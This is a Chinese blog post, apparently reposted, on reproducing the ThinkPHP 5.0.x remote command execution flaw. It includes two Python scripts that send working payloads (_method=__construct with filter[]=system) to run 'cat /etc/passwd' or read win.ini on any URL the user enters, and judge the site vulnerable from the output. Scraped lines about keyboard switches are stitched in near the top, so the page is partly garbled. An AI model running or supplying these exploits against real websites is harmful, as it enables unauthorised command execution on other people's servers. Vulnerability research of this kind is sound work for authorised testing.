linux最新漏洞thinkphp,thinkphp5.0.x最新命令执行漏洞复现及扫描脚本编写

66b52468c121889b900d4956032f1009.png

8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

漏洞复现

2019.1.11日,thinkphp官方再次公布了一个tp5代码执行漏洞

影响范围:5.0.x ~ 5.0.23

漏洞代码详情参考:https://blog.csdn.net/qq_29647709/article/details/86307859

提示:经过测试5.0.0-5.0.20版本使用的payload与5.0.21-5.0.23版本使用不同

提示:经过测试5.0.0-5.0.12版本不需要开启debug模式,5.0.12-5.0.23版本需要开启debug模式才可以看到执行结果

开启debug模式是将application目录下的config.php里的 ‘app_debug’设置为true

本文只是记录一次简单的复现以及poc编写

安装好thinkphp5.0.20版本

我们访问:

使用5.0.0-5.0.20版本的payload

已经执行成功了,复现成功

安装好thinkphp5.0.21版本

我们访问:

使用5.0.21-5.0.23版本的payload

已经执行成功了,复现成功

exp脚本编写

注意:

因为5.0.12-5.0.23版本需要开启debug模式才可以看到执行结果,所以如果测试结果没有回显可能是因为后台未开启debug模式

5.0.0-5.0.20版本使用的payload与5.0.21-5.0.23版本使用不同,并且两种方式判断方式不同,前者状态码为500,后者状态码为200,所以我决定将两种情况分开写,如果不知道具体版本,请务必将两个py脚本都运行检测一下

并且考虑windows平台与linux平台,所以使用时需要指定平台1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60#该脚本主要检测thinkphp5.0.0-5.0.20版本

import urllib.request

import urllib.parse

def poc(url,code):

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',

'Referer': url,

'Connection': 'keep-alive'

}

data_windows = {

's': 'type c:windowswin.ini',

'_method': '__construct',

'method': '',

'filter[]':'system'

}

data_linux = {

's': 'cat /etc/passwd',

'_method': '__construct',

'method': '',

'filter[]':'system'

}

url = url+'?s=index/index/index'

print("您输入的url是:")

print(url)

code = int(code)

if (code == 1):

try:

data_windows = urllib.parse.urlencode(data_windows).encode('utf-8')

request = urllib.request.Request(url=url,data=data_windows,headers=headers)

response = urllib.request.urlopen(request)

except urllib.request.HTTPError as e:

print("状态码为:")

print(e.code)

if ('for 16-bit app support' in e.read().decode('utf-8')):

print("存在thinkphp5.0.x命令执行漏洞")

print("漏洞链接为:")

print(url)

else:

print("不存在thinkphp5.0.x命令执行漏洞")

else:

try:

data_linux = urllib.parse.urlencode(data_linux).encode('utf-8')

request = urllib.request.Request(url=url, data=data_linux, headers=headers)

response = urllib.request.urlopen(request)

except urllib.request.HTTPError as e:

print("状态码为:")

print(e.code)

if ('root:' in e.read().decode('utf-8')):

print("存在thinkphp5.0.x命令执行漏洞")

print("漏洞链接为:")

print(url)

else:

print("不存在thinkphp5.0.x命令执行漏洞")

print("请输入你要漏洞检测的网站首页url:")

url = input()

print("请输入你要检测的tp5操作系统:")

print("windows请输入1,linux请输入2")

code = input("请输入:")

poc(url,code)

运行结果:

tp5.0.x_命令执行2.py

代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55#该脚本主要检测thinkphp5.0.21-5.0.23版本

import urllib.request

import urllib.parse

def poc(url,code):

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',

'Referer': url,

'Connection': 'keep-alive'

}

data_windows = {

'_method':'__construct',

'filter[]':'system',

'method':'get',

'server[REQUEST_METHOD]':'type c:windowswin.ini'

}

data_linux = {

'_method': '__construct',

'filter[]': 'system',

'method': 'get',

'server[REQUEST_METHOD]': 'cat /etc/passwd'

}

print("您输入的code是:")

code = int(code)

print(code)

if (code == 1):

data_windows = urllib.parse.urlencode(data_windows).encode('utf-8')

request = urllib.request.Request(url=url,data=data_windows,headers=headers)

response = urllib.request.urlopen(request)

print("状态码为:")

print(response.getcode())

if ('for 16-bit app support'in response.read().decode(encoding='utf-8')):

print("存在thinkphp5.0.x命令执行漏洞")

print("漏洞链接为:")

print(url)

else:

print("不存在thinkphp5.0.x命令执行漏洞")

else:

data_linux = urllib.parse.urlencode(data_linux).encode('utf-8')

request = urllib.request.Request(url=url, data=data_linux, headers=headers)

response = urllib.request.urlopen(request)

print("状态码为:")

print(response.getcode())

if ('root:' in response.read().decode(encoding='utf-8')):

print("存在thinkphp5.0.x命令执行漏洞")

print("漏洞链接为:")

print(url)

else:

print("不存在thinkphp5.0.x命令执行漏洞")

print("请输入你要漏洞检测的网站首页url:")

url=input()

print("请输入你要检测的tp5操作系统:")

print("windows请输入1,linux请输入2")

code=input("请输入:")

poc(url,code)

运行结果:

你可能感兴趣的:(linux最新漏洞thinkphp,thinkphp5.0.x最新命令执行漏洞复现及扫描脚本编写)